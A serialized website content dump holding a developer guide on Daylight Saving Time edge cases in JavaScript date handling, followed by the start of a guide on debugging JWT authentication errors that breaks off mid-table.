var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":89151},[89152,89153,89156,89157,89158,89159,89160],{"id":88575,"depth":337,"text":88576},{"id":88582,"depth":337,"text":88583,"children":89154},[89155],{"id":88589,"depth":343,"text":88590},{"id":88640,"depth":337,"text":88641},{"id":88886,"depth":337,"text":88887},{"id":88961,"depth":337,"text":88962},{"id":89110,"depth":337,"text":89111},{"id":285,"depth":337,"text":286},"Learn accurate methods to calculate the difference between two dates in days, months, and years.",{},"\u002Fguides\u002Fdate-difference-calculation",{"title":88570,"description":89161},"guides\u002Fdate-difference-calculation","uD6Oaz-r7u3OzgFVMs60XEEkvMqx_map4Qf37FsTbP8",{"id":89168,"title":89169,"body":89170,"date":2070,"description":89838,"extension":361,"meta":89839,"navigation":363,"path":89840,"readingTime":1717,"seo":89841,"stem":89842,"__hash__":89843},"guides\u002Fguides\u002Fdaylight-saving-time-edge-cases.md","Daylight Saving Time Edge Cases",{"type":8,"value":89171,"toc":89813},[89172,89176,89179,89182,89186,89189,89195,89202,89206,89241,89245,89251,89429,89433,89436,89442,89445,89448,89483,89486,89489,89493,89496,89500,89506,89510,89516,89519,89622,89625,89629,89633,89636,89640,89643,89646,89663,89667,89670,89674,89757,89759,89779,89781,89801,89803,89810],[11,89173,89175],{"id":89174},"why-dst-breaks-software","Why DST Breaks Software",[16,89177,89178],{},"Daylight Saving Time is a political decision, not a physical one. Governments decide when — or whether — to shift clocks. Rules change, exceptions appear, and some regions abolish DST entirely after decades of observance.",[16,89180,89181],{},"Your code needs to handle three categories of DST problems: timestamps that exist twice, timestamps that never exist, and durations that are not what you expect.",[11,89183,89185],{"id":89184},"the-ambiguous-hour","The Ambiguous Hour",[16,89187,89188],{},"When clocks fall back, one local time occurs twice.",[135,89190,89193],{"className":89191,"code":89192,"language":140},[138],"2025-11-02 01:30:00 EDT (UTC-4)\n2025-11-02 01:30:00 EST (UTC-5)\n",[143,89194,89192],{"__ignoreMap":141},[16,89196,89197,89198,89201],{},"Both timestamps look identical in local time: ",[143,89199,89200],{},"01:30",". Without an offset or timezone identifier, you cannot tell which one a user means.",[33,89203,89205],{"id":89204},"how-it-breaks-code","How it breaks code",[135,89207,89209],{"className":1607,"code":89208,"language":1609,"meta":141,"style":141},"\u002F\u002F DANGEROUS: parsing without timezone context\nconst local = new Date('2025-11-02 01:30:00')\n\u002F\u002F Browser assumes the SECOND occurrence (EST) — but your user might mean the first (EDT)\n",[143,89210,89211,89216,89236],{"__ignoreMap":141},[1560,89212,89213],{"class":1562,"line":1563},[1560,89214,89215],{"class":1649},"\u002F\u002F DANGEROUS: parsing without timezone context\n",[1560,89217,89218,89220,89223,89225,89227,89229,89231,89234],{"class":1562,"line":337},[1560,89219,8180],{"class":1669},[1560,89221,89222],{"class":1576}," local",[1560,89224,8186],{"class":1669},[1560,89226,11489],{"class":1669},[1560,89228,87644],{"class":1566},[1560,89230,1688],{"class":1570},[1560,89232,89233],{"class":5634},"'2025-11-02 01:30:00'",[1560,89235,8252],{"class":1570},[1560,89237,89238],{"class":1562,"line":343},[1560,89239,89240],{"class":1649},"\u002F\u002F Browser assumes the SECOND occurrence (EST) — but your user might mean the first (EDT)\n",[33,89242,89244],{"id":89243},"how-to-handle-it","How to handle it",[16,89246,89247,89248,89250],{},"Always store and compute in UTC. Convert to local time only for display. When a user enters ",[143,89249,89200],{}," on a fall-back date, ask which occurrence they mean, or disambiguate using the IANA timezone database.",[135,89252,89254],{"className":1607,"code":89253,"language":1609,"meta":141,"style":141},"\u002F\u002F Using Intl to check ambiguity\nconst tz = 'America\u002FNew_York'\nconst formatter = new Intl.DateTimeFormat('en-US', {\n  timeZone: tz,\n  year: 'numeric', month: '2-digit', day: '2-digit',\n  hour: '2-digit', minute: '2-digit', timeZoneName: 'short'\n})\n\n\u002F\u002F Same wall time, two UTC equivalents\nconst edt = new Date('2025-11-02T05:30:00Z') \u002F\u002F 01:30 EDT\nconst est = new Date('2025-11-02T06:30:00Z') \u002F\u002F 01:30 EST\n\nformatter.format(edt) \u002F\u002F \"11\u002F02\u002F2025, 1:30 AM EDT\"\nformatter.format(est) \u002F\u002F \"11\u002F02\u002F2025, 1:30 AM EST\"\n",[143,89255,89256,89261,89273,89297,89302,89323,89341,89345,89349,89354,89377,89400,89404,89417],{"__ignoreMap":141},[1560,89257,89258],{"class":1562,"line":1563},[1560,89259,89260],{"class":1649},"\u002F\u002F Using Intl to check ambiguity\n",[1560,89262,89263,89265,89268,89270],{"class":1562,"line":337},[1560,89264,8180],{"class":1669},[1560,89266,89267],{"class":1576}," tz",[1560,89269,8186],{"class":1669},[1560,89271,89272],{"class":5634}," 'America\u002FNew_York'\n",[1560,89274,89275,89277,89280,89282,89284,89287,89290,89292,89295],{"class":1562,"line":343},[1560,89276,8180],{"class":1669},[1560,89278,89279],{"class":1576}," formatter",[1560,89281,8186],{"class":1669},[1560,89283,11489],{"class":1669},[1560,89285,89286],{"class":1570}," Intl.",[1560,89288,89289],{"class":1566},"DateTimeFormat",[1560,89291,1688],{"class":1570},[1560,89293,89294],{"class":5634},"'en-US'",[1560,89296,49495],{"class":1570},[1560,89298,89299],{"class":1562,"line":365},[1560,89300,89301],{"class":1570},"  timeZone: tz,\n",[1560,89303,89304,89307,89310,89313,89316,89319,89321],{"class":1562,"line":889},[1560,89305,89306],{"class":1570},"  year: ",[1560,89308,89309],{"class":5634},"'numeric'",[1560,89311,89312],{"class":1570},", month: ",[1560,89314,89315],{"class":5634},"'2-digit'",[1560,89317,89318],{"class":1570},", day: ",[1560,89320,89315],{"class":5634},[1560,89322,11943],{"class":1570},[1560,89324,89325,89328,89330,89333,89335,89338],{"class":1562,"line":1710},[1560,89326,89327],{"class":1570},"  hour: ",[1560,89329,89315],{"class":5634},[1560,89331,89332],{"class":1570},", minute: ",[1560,89334,89315],{"class":5634},[1560,89336,89337],{"class":1570},", timeZoneName: ",[1560,89339,89340],{"class":5634},"'short'\n",[1560,89342,89343],{"class":1562,"line":1717},[1560,89344,1626],{"class":1570},[1560,89346,89347],{"class":1562,"line":1747},[1560,89348,1702],{"emptyLinePlaceholder":363},[1560,89350,89351],{"class":1562,"line":2507},[1560,89352,89353],{"class":1649},"\u002F\u002F Same wall time, two UTC equivalents\n",[1560,89355,89356,89358,89361,89363,89365,89367,89369,89372,89374],{"class":1562,"line":2524},[1560,89357,8180],{"class":1669},[1560,89359,89360],{"class":1576}," edt",[1560,89362,8186],{"class":1669},[1560,89364,11489],{"class":1669},[1560,89366,87644],{"class":1566},[1560,89368,1688],{"class":1570},[1560,89370,89371],{"class":5634},"'2025-11-02T05:30:00Z'",[1560,89373,1733],{"class":1570},[1560,89375,89376],{"class":1649},"\u002F\u002F 01:30 EDT\n",[1560,89378,89379,89381,89384,89386,89388,89390,89392,89395,89397],{"class":1562,"line":2529},[1560,89380,8180],{"class":1669},[1560,89382,89383],{"class":1576}," est",[1560,89385,8186],{"class":1669},[1560,89387,11489],{"class":1669},[1560,89389,87644],{"class":1566},[1560,89391,1688],{"class":1570},[1560,89393,89394],{"class":5634},"'2025-11-02T06:30:00Z'",[1560,89396,1733],{"class":1570},[1560,89398,89399],{"class":1649},"\u002F\u002F 01:30 EST\n",[1560,89401,89402],{"class":1562,"line":2534},[1560,89403,1702],{"emptyLinePlaceholder":363},[1560,89405,89406,89409,89411,89414],{"class":1562,"line":2542},[1560,89407,89408],{"class":1570},"formatter.",[1560,89410,88484],{"class":1566},[1560,89412,89413],{"class":1570},"(edt) ",[1560,89415,89416],{"class":1649},"\u002F\u002F \"11\u002F02\u002F2025, 1:30 AM EDT\"\n",[1560,89418,89419,89421,89423,89426],{"class":1562,"line":2558},[1560,89420,89408],{"class":1570},[1560,89422,88484],{"class":1566},[1560,89424,89425],{"class":1570},"(est) ",[1560,89427,89428],{"class":1649},"\u002F\u002F \"11\u002F02\u002F2025, 1:30 AM EST\"\n",[11,89430,89432],{"id":89431},"the-missing-hour","The Missing Hour",[16,89434,89435],{},"When clocks spring forward, one local time never exists.",[135,89437,89440],{"className":89438,"code":89439,"language":140},[138],"2025-03-09 02:30:00 — this time does not exist in America\u002FNew_York\n",[143,89441,89439],{"__ignoreMap":141},[16,89443,89444],{},"Clocks jump from 01:59:59 EST directly to 03:00:00 EDT. Any timestamp between 02:00 and 03:00 on that date is phantom.",[33,89446,89205],{"id":89447},"how-it-breaks-code-1",[135,89449,89451],{"className":1607,"code":89450,"language":1609,"meta":141,"style":141},"\u002F\u002F User schedules a recurring event at 2:30 AM daily\n\u002F\u002F On March 9, that time does not exist\n\u002F\u002F Different systems handle this differently:\n\u002F\u002F - Some move it to 3:30 AM (spring forward)\n\u002F\u002F - Some move it to 1:30 AM (fall back)\n\u002F\u002F - Some silently drop the event\n",[143,89452,89453,89458,89463,89468,89473,89478],{"__ignoreMap":141},[1560,89454,89455],{"class":1562,"line":1563},[1560,89456,89457],{"class":1649},"\u002F\u002F User schedules a recurring event at 2:30 AM daily\n",[1560,89459,89460],{"class":1562,"line":337},[1560,89461,89462],{"class":1649},"\u002F\u002F On March 9, that time does not exist\n",[1560,89464,89465],{"class":1562,"line":343},[1560,89466,89467],{"class":1649},"\u002F\u002F Different systems handle this differently:\n",[1560,89469,89470],{"class":1562,"line":365},[1560,89471,89472],{"class":1649},"\u002F\u002F - Some move it to 3:30 AM (spring forward)\n",[1560,89474,89475],{"class":1562,"line":889},[1560,89476,89477],{"class":1649},"\u002F\u002F - Some move it to 1:30 AM (fall back)\n",[1560,89479,89480],{"class":1562,"line":1710},[1560,89481,89482],{"class":1649},"\u002F\u002F - Some silently drop the event\n",[33,89484,89244],{"id":89485},"how-to-handle-it-1",[16,89487,89488],{},"Validate user-input times against the IANA database. If a time falls in a gap, present a clear message: \"This time does not exist on this date due to Daylight Saving Time. Please choose 1:30 AM or 3:30 AM.\"",[11,89490,89492],{"id":89491},"duration-shifts","Duration Shifts",[16,89494,89495],{},"A \"24-hour\" period does not always contain 24 hours in local time.",[33,89497,89499],{"id":89498},"spring-forward-23-hour-day","Spring forward: 23-hour day",[135,89501,89504],{"className":89502,"code":89503,"language":140},[138],"March 9, 2025: 1:00 AM EST → March 10, 2025: 1:00 AM EDT = 23 hours\n",[143,89505,89503],{"__ignoreMap":141},[33,89507,89509],{"id":89508},"fall-back-25-hour-day","Fall back: 25-hour day",[135,89511,89514],{"className":89512,"code":89513,"language":140},[138],"November 2, 2025: 1:00 AM EDT → November 3, 2025: 1:00 AM EST = 25 hours\n",[143,89515,89513],{"__ignoreMap":141},[33,89517,89205],{"id":89518},"how-it-breaks-code-2",[135,89520,89522],{"className":1607,"code":89521,"language":1609,"meta":141,"style":141},"\u002F\u002F WRONG: assuming 24 hours per day\nconst tomorrow = new Date(today.getTime() + 24 * 60 * 60 * 1000)\n\u002F\u002F On a spring-forward day, this lands on the SAME calendar date at 1:00 AM EDT\n\u002F\u002F instead of the next day's midnight\n\n\u002F\u002F CORRECT: use date arithmetic, not millisecond arithmetic\nconst tomorrow = new Date(today)\ntomorrow.setDate(tomorrow.getDate() + 1)\n",[143,89523,89524,89529,89568,89573,89578,89582,89587,89602],{"__ignoreMap":141},[1560,89525,89526],{"class":1562,"line":1563},[1560,89527,89528],{"class":1649},"\u002F\u002F WRONG: assuming 24 hours per day\n",[1560,89530,89531,89533,89536,89538,89540,89542,89545,89548,89550,89552,89554,89556,89558,89560,89562,89564,89566],{"class":1562,"line":337},[1560,89532,8180],{"class":1669},[1560,89534,89535],{"class":1576}," tomorrow",[1560,89537,8186],{"class":1669},[1560,89539,11489],{"class":1669},[1560,89541,87644],{"class":1566},[1560,89543,89544],{"class":1570},"(today.",[1560,89546,89547],{"class":1566},"getTime",[1560,89549,38111],{"class":1570},[1560,89551,9448],{"class":1669},[1560,89553,18193],{"class":1576},[1560,89555,8064],{"class":1669},[1560,89557,18338],{"class":1576},[1560,89559,8064],{"class":1669},[1560,89561,18338],{"class":1576},[1560,89563,8064],{"class":1669},[1560,89565,82375],{"class":1576},[1560,89567,8252],{"class":1570},[1560,89569,89570],{"class":1562,"line":343},[1560,89571,89572],{"class":1649},"\u002F\u002F On a spring-forward day, this lands on the SAME calendar date at 1:00 AM EDT\n",[1560,89574,89575],{"class":1562,"line":365},[1560,89576,89577],{"class":1649},"\u002F\u002F instead of the next day's midnight\n",[1560,89579,89580],{"class":1562,"line":889},[1560,89581,1702],{"emptyLinePlaceholder":363},[1560,89583,89584],{"class":1562,"line":1710},[1560,89585,89586],{"class":1649},"\u002F\u002F CORRECT: use date arithmetic, not millisecond arithmetic\n",[1560,89588,89589,89591,89593,89595,89597,89599],{"class":1562,"line":1717},[1560,89590,8180],{"class":1669},[1560,89592,89535],{"class":1576},[1560,89594,8186],{"class":1669},[1560,89596,11489],{"class":1669},[1560,89598,87644],{"class":1566},[1560,89600,89601],{"class":1570},"(today)\n",[1560,89603,89604,89607,89609,89612,89614,89616,89618,89620],{"class":1562,"line":1747},[1560,89605,89606],{"class":1570},"tomorrow.",[1560,89608,87659],{"class":1566},[1560,89610,89611],{"class":1570},"(tomorrow.",[1560,89613,87665],{"class":1566},[1560,89615,38111],{"class":1570},[1560,89617,9448],{"class":1669},[1560,89619,18868],{"class":1576},[1560,89621,8252],{"class":1570},[16,89623,89624],{},"For scheduling: always compute durations in UTC. Display in local time. A daily recurring event should be stored as \"daily at 14:00 UTC\" rather than \"daily at 9:00 AM Eastern\" — the latter shifts with DST.",[11,89626,89628],{"id":89627},"international-edge-cases","International Edge Cases",[33,89630,89632],{"id":89631},"the-southern-hemisphere","The Southern Hemisphere",[16,89634,89635],{},"Countries below the equator observe DST in opposite months. Australia springs forward in October and falls back in April. If your team is in New York and your users are in Sydney, both hemispheres' transitions affect your application.",[33,89637,89639],{"id":89638},"regions-that-abolished-dst","Regions that abolished DST",[16,89641,89642],{},"The European Union voted to abolish DST in 2019. Implementation has been delayed repeatedly. Your code should rely on the IANA database, not assumptions about which countries observe DST.",[16,89644,89645],{},"Notable non-observers:",[41,89647,89648,89651,89654,89657,89660],{},[44,89649,89650],{},"Japan (never observed)",[44,89652,89653],{},"China (single timezone, no DST)",[44,89655,89656],{},"India (no DST)",[44,89658,89659],{},"Arizona (most of the state; the Navajo Nation does observe DST)",[44,89661,89662],{},"Hawaii (no DST)",[33,89664,89666],{"id":89665},"last-minute-rule-changes","Last-minute rule changes",[16,89668,89669],{},"Brazil abolished DST in 2019, then reinstated it temporarily in 2021 during a power crisis. Russia moved between permanent summer time, permanent winter time, and back. Your timezone library must be updated regularly to track these changes.",[11,89671,89673],{"id":89672},"timezone-selection-anti-patterns","Timezone Selection Anti-Patterns",[193,89675,89676,89689],{},[196,89677,89678],{},[199,89679,89680,89683,89686],{},[202,89681,89682],{},"Anti-pattern",[202,89684,89685],{},"Why it fails",[202,89687,89688],{},"Correct approach",[211,89690,89691,89702,89724,89735,89746],{},[199,89692,89693,89696,89699],{},[216,89694,89695],{},"Hardcoding UTC offsets",[216,89697,89698],{},"Offsets change with DST",[216,89700,89701],{},"Use IANA identifiers",[199,89703,89704,89713,89716],{},[216,89705,89706,89707,1459,89710,1525],{},"Using abbreviations (",[143,89708,89709],{},"EST",[143,89711,89712],{},"CST",[216,89714,89715],{},"Ambiguous across regions",[216,89717,1388,89718,1459,89721],{},[143,89719,89720],{},"America\u002FNew_York",[143,89722,89723],{},"America\u002FChicago",[199,89725,89726,89729,89732],{},[216,89727,89728],{},"Storing local time without timezone",[216,89730,89731],{},"Cannot reconstruct UTC",[216,89733,89734],{},"Store UTC + IANA timezone",[199,89736,89737,89740,89743],{},[216,89738,89739],{},"Assuming DST dates are fixed",[216,89741,89742],{},"Governments change rules",[216,89744,89745],{},"Keep IANA database updated",[199,89747,89748,89751,89754],{},[216,89749,89750],{},"Testing only summer dates",[216,89752,89753],{},"Misses fall-back ambiguities",[216,89755,89756],{},"Test both transition dates",[11,89758,1355],{"id":1354},[41,89760,89761,89764,89767,89770,89773,89776],{},[44,89762,89763],{},"DST creates ambiguous hours (fall back) and missing hours (spring forward) — always validate user input against the IANA database",[44,89765,89766],{},"Store timestamps in UTC; convert to local time only for display",[44,89768,89769],{},"Never assume days are 24 hours — use date arithmetic, not millisecond arithmetic",[44,89771,89772],{},"Southern Hemisphere DST operates in opposite months — global apps must handle both",[44,89774,89775],{},"Regions change DST rules without warning — keep your timezone library updated",[44,89777,89778],{},"Always use IANA timezone identifiers, never abbreviations or hardcoded offsets",[11,89780,321],{"id":320},[41,89782,89783,89789,89795],{},[44,89784,89785],{},[98,89786,89788],{"href":89787},"\u002Fguides\u002Ftimezone-converter-guide","Timezone Converter Guide",[44,89790,89791],{},[98,89792,89794],{"href":89793},"\u002Fguides\u002Fworking-with-timezones","Working with Timezones",[44,89796,89797],{},[98,89798,89800],{"href":89799},"\u002Fguides\u002Ftimezone-conversion-scheduled-jobs","Timezone Conversion in Scheduled Jobs",[11,89802,286],{"id":285},[16,89804,89805,89806,89809],{},"Convert times across DST boundaries safely with our free ",[98,89807,960],{"href":89808},"\u002Ftools\u002Ftimezone-converter",". All conversions use IANA timezone data with automatic DST adjustment — no manual offset lookup needed.",[2043,89811,89812],{},"html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}",{"title":141,"searchDepth":337,"depth":337,"links":89814},[89815,89816,89820,89824,89829,89834,89835,89836,89837],{"id":89174,"depth":337,"text":89175},{"id":89184,"depth":337,"text":89185,"children":89817},[89818,89819],{"id":89204,"depth":343,"text":89205},{"id":89243,"depth":343,"text":89244},{"id":89431,"depth":337,"text":89432,"children":89821},[89822,89823],{"id":89447,"depth":343,"text":89205},{"id":89485,"depth":343,"text":89244},{"id":89491,"depth":337,"text":89492,"children":89825},[89826,89827,89828],{"id":89498,"depth":343,"text":89499},{"id":89508,"depth":343,"text":89509},{"id":89518,"depth":343,"text":89205},{"id":89627,"depth":337,"text":89628,"children":89830},[89831,89832,89833],{"id":89631,"depth":343,"text":89632},{"id":89638,"depth":343,"text":89639},{"id":89665,"depth":343,"text":89666},{"id":89672,"depth":337,"text":89673},{"id":1354,"depth":337,"text":1355},{"id":320,"depth":337,"text":321},{"id":285,"depth":337,"text":286},"Navigate DST edge cases that break code — ambiguous hours, missing hours, duration shifts, and timezone rules that change without warning.",{"immutable":363},"\u002Fguides\u002Fdaylight-saving-time-edge-cases",{"title":89169,"description":89838},"guides\u002Fdaylight-saving-time-edge-cases","OUEm8HKNBl2zZBR7F5rM2_3PzfJvXHzd7sy1-X6Omug",{"id":89845,"title":89846,"body":89847,"date":2070,"description":91086,"extension":361,"meta":91087,"navigation":363,"path":91088,"readingTime":1717,"seo":91089,"stem":91090,"__hash__":91091},"guides\u002Fguides\u002Fdebugging-jwt-auth-errors.md","Debugging JWT Authentication Errors: A Systematic Guide",{"type":8,"value":89848,"toc":91053},[89849,89853,89856,89860,89863,90013,90016,90042,90046,90050,90064,90068,90225,90229,90278,90282,90329,90333,90336,90350,90353,90356,90360,90365,90409,90414,90521,90531,90573,90577,90580,90593,90596,90641,90644,90657,90660,90698,90702,90705,90715,90718,90773,90777,90780,90788,90791,90798,90801,90875,90881,90936,90940,90943,91010,91012,91035,91037,91045,91050],[11,89850,89852],{"id":89851},"jwt-errors-are-cryptic-by-default","JWT Errors Are Cryptic by Default",[16,89854,89855],{},"When JWT authentication fails, you typically get a generic 401 response with little explanation. The token \"doesn't work,\" but the server rarely tells you why. This guide maps common failure patterns to their root causes so you can debug methodically instead of guessing.",[11,89857,89859],{"id":89858},"decode-the-token-first","Decode the Token First",[16,89861,89862],{},"Before anything else, decode the token and inspect its claims. You need to see what the token contains — and what it doesn't.",[135,89864,89866],{"className":1607,"code":89865,"language":1609,"meta":141,"style":141},"\u002F\u002F Quick browser decode (verification only — no signature check)\nfunction decodeJWT(token) {\n  const parts = token.split('.');\n  if (parts.length !== 3) throw new Error('Invalid JWT structure');\n  const payload = JSON.parse(atob(parts[1].replace(\u002F-\u002Fg, '+').replace(\u002F_\u002Fg, '\u002F')));\n  return payload;\n}\n",[143,89867,89868,89873,89887,89906,89935,90002,90009],{"__ignoreMap":141},[1560,89869,89870],{"class":1562,"line":1563},[1560,89871,89872],{"class":1649},"\u002F\u002F Quick browser decode (verification only — no signature check)\n",[1560,89874,89875,89877,89880,89882,89885],{"class":1562,"line":337},[1560,89876,8648],{"class":1669},[1560,89878,89879],{"class":1566}," decodeJWT",[1560,89881,1688],{"class":1570},[1560,89883,89884],{"class":2219},"token",[1560,89886,9345],{"class":1570},[1560,89888,89889,89891,89893,89895,89898,89900,89902,89904],{"class":1562,"line":343},[1560,89890,28057],{"class":1669},[1560,89892,81980],{"class":1576},[1560,89894,8186],{"class":1669},[1560,89896,89897],{"class":1570}," token.",[1560,89899,9356],{"class":1566},[1560,89901,1688],{"class":1570},[1560,89903,81992],{"class":5634},[1560,89905,1744],{"class":1570},[1560,89907,89908,89910,89913,89915,89918,89920,89922,89924,89926,89928,89930,89933],{"class":1562,"line":365},[1560,89909,27984],{"class":1669},[1560,89911,89912],{"class":1570}," (parts.",[1560,89914,9418],{"class":1576},[1560,89916,89917],{"class":1669}," !==",[1560,89919,48433],{"class":1576},[1560,89921,1733],{"class":1570},[1560,89923,28006],{"class":1669},[1560,89925,11489],{"class":1669},[1560,89927,28011],{"class":1566},[1560,89929,1688],{"class":1570},[1560,89931,89932],{"class":5634},"'Invalid JWT structure'",[1560,89934,1744],{"class":1570},[1560,89936,89937,89939,89942,89944,89947,89949,89951,89953,89956,89959,89961,89963,89965,89967,89969,89971,89973,89975,89977,89980,89982,89984,89986,89988,89990,89992,89994,89996,89999],{"class":1562,"line":889},[1560,89938,28057],{"class":1669},[1560,89940,89941],{"class":1576}," payload",[1560,89943,8186],{"class":1669},[1560,89945,89946],{"class":1576}," JSON",[1560,89948,468],{"class":1570},[1560,89950,80838],{"class":1566},[1560,89952,1688],{"class":1570},[1560,89954,89955],{"class":1566},"atob",[1560,89957,89958],{"class":1570},"(parts[",[1560,89960,3585],{"class":1576},[1560,89962,24393],{"class":1570},[1560,89964,22721],{"class":1566},[1560,89966,1688],{"class":1570},[1560,89968,9423],{"class":5634},[1560,89970,9412],{"class":11919},[1560,89972,9423],{"class":5634},[1560,89974,22733],{"class":1669},[1560,89976,1459],{"class":1570},[1560,89978,89979],{"class":5634},"'+'",[1560,89981,9368],{"class":1570},[1560,89983,22721],{"class":1566},[1560,89985,1688],{"class":1570},[1560,89987,9423],{"class":5634},[1560,89989,23056],{"class":11919},[1560,89991,9423],{"class":5634},[1560,89993,22733],{"class":1669},[1560,89995,1459],{"class":1570},[1560,89997,89998],{"class":5634},"'\u002F'",[1560,90000,90001],{"class":1570},")));\n",[1560,90003,90004,90006],{"class":1562,"line":1710},[1560,90005,9350],{"class":1669},[1560,90007,90008],{"class":1570}," payload;\n",[1560,90010,90011],{"class":1562,"line":1717},[1560,90012,1585],{"class":1570},[16,90014,90015],{},"Check these fields immediately:",[41,90017,90018,90024,90030,90036],{},[44,90019,90020,90023],{},[143,90021,90022],{},"exp"," — Is the token expired?",[44,90025,90026,90029],{},[143,90027,90028],{},"iss"," — Does it match what the server expects?",[44,90031,90032,90035],{},[143,90033,90034],{},"aud"," — Does it include this API's identifier?",[44,90037,90038,90041],{},[143,90039,90040],{},"iat"," — When was it issued? Is the timestamp plausible?",[11,90043,90045],{"id":90044},"error-1-token-expired","Error 1: Token Expired",[33,90047,90049],{"id":90048},"symptoms","Symptoms",[41,90051,90052,90061],{},[44,90053,90054,90055,1531,90058],{},"Server returns 401 with message like ",[143,90056,90057],{},"\"jwt expired\"",[143,90059,90060],{},"\"Token is expired\"",[44,90062,90063],{},"The token worked recently but stopped",[33,90065,90067],{"id":90066},"diagnosis","Diagnosis",[135,90069,90071],{"className":1607,"code":90070,"language":1609,"meta":141,"style":141},"const payload = decodeJWT(token);\nconst now = Math.floor(Date.now() \u002F 1000);\nconst expired = now >= payload.exp;\nconst expiresAt = new Date(payload.exp * 1000).toISOString();\n\nconsole.log(`Token expired: ${expired}`);\nconsole.log(`Expires at: ${expiresAt}`);\nconsole.log(`Current time: ${new Date().toISOString()}`);\n",[143,90072,90073,90086,90113,90131,90159,90163,90181,90199],{"__ignoreMap":141},[1560,90074,90075,90077,90079,90081,90083],{"class":1562,"line":1563},[1560,90076,8180],{"class":1669},[1560,90078,89941],{"class":1576},[1560,90080,8186],{"class":1669},[1560,90082,89879],{"class":1566},[1560,90084,90085],{"class":1570},"(token);\n",[1560,90087,90088,90090,90093,90095,90097,90099,90102,90105,90107,90109,90111],{"class":1562,"line":337},[1560,90089,8180],{"class":1669},[1560,90091,90092],{"class":1576}," now",[1560,90094,8186],{"class":1669},[1560,90096,9393],{"class":1570},[1560,90098,9406],{"class":1566},[1560,90100,90101],{"class":1570},"(Date.",[1560,90103,90104],{"class":1566},"now",[1560,90106,38111],{"class":1570},[1560,90108,9423],{"class":1669},[1560,90110,82375],{"class":1576},[1560,90112,1744],{"class":1570},[1560,90114,90115,90117,90120,90122,90125,90128],{"class":1562,"line":343},[1560,90116,8180],{"class":1669},[1560,90118,90119],{"class":1576}," expired",[1560,90121,8186],{"class":1669},[1560,90123,90124],{"class":1570}," now ",[1560,90126,90127],{"class":1669},">=",[1560,90129,90130],{"class":1570}," payload.exp;\n",[1560,90132,90133,90135,90138,90140,90142,90144,90147,90149,90151,90153,90156],{"class":1562,"line":365},[1560,90134,8180],{"class":1669},[1560,90136,90137],{"class":1576}," expiresAt",[1560,90139,8186],{"class":1669},[1560,90141,11489],{"class":1669},[1560,90143,87644],{"class":1566},[1560,90145,90146],{"class":1570},"(payload.exp ",[1560,90148,8069],{"class":1669},[1560,90150,82375],{"class":1576},[1560,90152,9368],{"class":1570},[1560,90154,90155],{"class":1566},"toISOString",[1560,90157,90158],{"class":1570},"();\n",[1560,90160,90161],{"class":1562,"line":889},[1560,90162,1702],{"emptyLinePlaceholder":363},[1560,90164,90165,90167,90169,90171,90174,90177,90179],{"class":1562,"line":1710},[1560,90166,8211],{"class":1570},[1560,90168,8214],{"class":1566},[1560,90170,1688],{"class":1570},[1560,90172,90173],{"class":5634},"`Token expired: ${",[1560,90175,90176],{"class":1570},"expired",[1560,90178,9582],{"class":5634},[1560,90180,1744],{"class":1570},[1560,90182,90183,90185,90187,90189,90192,90195,90197],{"class":1562,"line":1717},[1560,90184,8211],{"class":1570},[1560,90186,8214],{"class":1566},[1560,90188,1688],{"class":1570},[1560,90190,90191],{"class":5634},"`Expires at: ${",[1560,90193,90194],{"class":1570},"expiresAt",[1560,90196,9582],{"class":5634},[1560,90198,1744],{"class":1570},[1560,90200,90201,90203,90205,90207,90210,90212,90214,90216,90218,90221,90223],{"class":1562,"line":1747},[1560,90202,8211],{"class":1570},[1560,90204,8214],{"class":1566},[1560,90206,1688],{"class":1570},[1560,90208,90209],{"class":5634},"`Current time: ${",[1560,90211,20807],{"class":1669},[1560,90213,87644],{"class":1566},[1560,90215,42138],{"class":5634},[1560,90217,90155],{"class":1566},[1560,90219,90220],{"class":5634},"()",[1560,90222,9582],{"class":5634},[1560,90224,1744],{"class":1570},[33,90226,90228],{"id":90227},"common-causes","Common Causes",[193,90230,90231,90239],{},[196,90232,90233],{},[199,90234,90235,90237],{},[202,90236,59374],{},[202,90238,3690],{},[211,90240,90241,90249,90260,90270],{},[199,90242,90243,90246],{},[216,90244,90245],{},"Access token expired normally",[216,90247,90248],{},"Implement token refresh flow",[199,90250,90251,90254],{},[216,90252,90253],{},"Clock skew between servers",[216,90255,90256,90257,90259],{},"Allow 30-60 second leeway in ",[143,90258,90022],{}," check",[199,90261,90262,90267],{},[216,90263,90264,90265],{},"Token issued with wrong 